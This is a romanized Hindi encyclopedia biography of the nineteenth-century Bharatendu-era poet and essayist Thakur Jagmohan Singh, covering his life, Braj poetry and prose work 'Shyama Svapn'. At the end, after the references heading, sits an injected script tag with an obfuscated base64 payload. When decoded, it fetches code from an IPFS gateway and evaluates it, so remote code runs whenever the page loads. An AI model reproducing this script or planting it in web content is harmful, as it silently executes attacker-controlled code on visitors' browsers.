ठाकुर जगमोहन सिंह
thakur jagamohan sianh
| |
| poora nam | thakur jagamohan sianh |
| janm | 1857 ee. |
| janm bhoomi | vijayaraghavagadh, madhy pradesh |
| mrityu | 4 march, 1899 ee. |
| karm bhoomi | bharat |
| mukhy rachanaean | 'prem sampatti lata', 'shyama lata', 'shyama-sarojini' tatha 'shyam shvapn' adi. |
| bhasha | hindi, brajabhasha, sanskrit |
| prasiddhi | sahityakar |
| nagarikata | bharatiy |
| any janakari | jagamohan sianh hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. unake samast krititv par sanskrit adhyayan ki vyapak chhap hai. brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad unhoanne kiya hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
thakur jagamohan sianh (aangrezi: Thakur Jagmohan Singh, janm- 1857 ee., madhy pradesh; mrityu- 4 march, 1899 ee.) prasiddh sahityakar the. inaka nam 'bharatendu yug' ke sahriday sahity seviyoan mean ata hai. ye madhy pradesh sthit vijayaraghavagadh ke rajakumar aur apane samay ke bahut b de vidyanuragi the. ap hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. inake samast krititv par sanskrit adhyayan ki vyapak chhap hai. jagamohan sianh ne brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad bhi kiya hai.
janm tatha shiksha
thakur jagamohan sianh ka janm shravan shukl chaturdashi, sanvat 1914 (1857 ee.) ko hua tha. ve vijayaraghavagadh, madhy pradesh ke rajakumar the. apani shiksha ke lie kashi ane par unaka parichay bharateandu harishchandr aur unaki mandali se hua. hindi ke atirikt ve sanskrit aur aangrezi sahity ki bhi achchhi janakari rakhate the.[1]
ek prem-pathik kavi
thakur sahab moolat: kavi hi the. unhoanne apani rachanaoan dvara nee aur purani donoan prakar ki kavy pravrittiyoan ka poshan kiya. unhoanne jo gady likha hai, us par bhi unake kavi-vyaktitv ki spasht chhap hai. jagamohan sianh unnisavian shatabdi ke uttarardh ke un svanamadhany kaviyoan mean pramukh mane jate haian, "jinhoanne ek or to hindi sahity ki navin gati ke pravarttan mean yog diya, doosari or purani paripathi ki kavita ke sath bhi apana poora sambandh banaye rakha." is sandarbh mean achary ramachandr shukl ne apako ek prem-pathik kavi ke roop mean smaran kiya hai.[2]
kavy bhasha
jagamohan sianh ki kavy bhasha parimarjit brajabhasha thi. saras shrriangari bhavabhoomi ko lekar kavitt-savaiya ki rachana karane mean ap bahut nipun the. unaki rachanaoan ki ek bahut b di visheshata is bat mean hai ki ve prakriti ke taja manohar chitroan se alankrit haian. unamean prakriti ke vistrit saundary ke prati vyapak anurag drishti bimbit huee hai. chhayavad yug arambh hone ke koee 25-30 varsh poorv hi jagamohan sianh ki kritiyoan mean manaviy saundary ko prakritik saundary ki tulanamoolak prishthabhoomi mean dekhane-parakhane ka ek sanket upalabdh hota hai aur us drishti se unaki tatkalin rachanaean "hindi kavy mean ek nootan vidhan ka abhas deti haian."[1]
kavita sangrah
jagamohan sianh ji ki kavitaoan ke tin sangrah prasiddh haian-
shrriangarik rachana
'prem sampatti lata' se inaki ek bahuuddhrit shrriangarik rachana (savaiya) nimnaankit hai-
"ab yoan ur avat hai sajani, mili jauan gare lagi kai chhatiyaan. manaki kari bhaanti anekan au mili kijiy ri ras ki katiyaan..
ham hari ari kari koti upay, likhi bahu neh bhari patiyaan. jagamohan mohani moorati ke bina kaise kataian du:kh ki ratiyaan.."
nibandhakar
thakur jagamohan sianh hindi ke atirikt sanskrit sahity ke bhi achchhe jnata the. unake samast krititv par sanskrit adhyayan ki vyapak chhap hai. brajabhasha ke kavitt aur savaiya chhandoan mean kalidas krit 'meghadoot' ka bahut sundar anuvad unhoanne kiya hai. jagamohan sianh ji apane samay ke utkrisht gady lekhak bhi rahe. hindi nibandh ke pratham utthan kal ke nibandhakaroan mean unaka sthan mahattvapoorn hai. ve lalit shaili ke saras lekhak the. unaki bhasha b di parimarjit evan sanskritagarbhit thi aur shaili prabah yukt tatha gady kavyatmak. phir bhi hindi ke arambhik gady mean upalabdh hone vale poorvi prayogoan aur 'panditaoopan' ki chianty shaili se ap bach nahian paye haian. 'dhare haian', 'ham kya karaian', 'chahati hau', 'jisai dooan' aur 'dhol pitai' jaise ashuddh prayog unaki rachanaoan mean bahut adhik matra mean prapt hote haian.[1]
jagamohan sianh ne adhunik yug ke dvar par kh de hokar shayad pahali bar prakriti ko vastavik anurag-drishti se dekha tha. apake kaviroop ki yah ek visheshata hai. nibandhakar ke roop mean apane hindi ki arambhik gadyashaili ko ek sahityik vyavastha pradan ki thi.
kriti 'shyama svapn'
'shyama svapn' jagamohan sianh ki pramukh gady kriti hai. isaka ek pramanik svaroop shrikrishnalal dvara sampadit hokar kashi ki 'nagari pracharini sabha' se prakashit ho chuka hai. lekhak ke samasamayik yug ke suprasiddh sahityakar ambikadatt vyas ne is kriti ko gady-kavy kaha hai. svayan lekhak ne ise "gadyapradhan char khandoan mean ek kalpana" kaha hai. yah vakyaansh is pustak ke mukh prishth par aankit hai. isamean gady aur pady donoan ka prayog kiya gaya hai, kiantu gady ki tulana mean pady ki matra bahut kam hai. yah kriti vastut: ek bhavapradhan upanyas hai. usaki shaili varnanatmak hai aur isamean charitr-chitran ki upeksha karake prakriti tatha premamay jivan ke sundar chitr aankit kiye gaye haian.
nidhan
thakur jagamohan sianh ki mrityu 42 varsh ki ayu mean 4 march, 1899 ee. mean huee.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>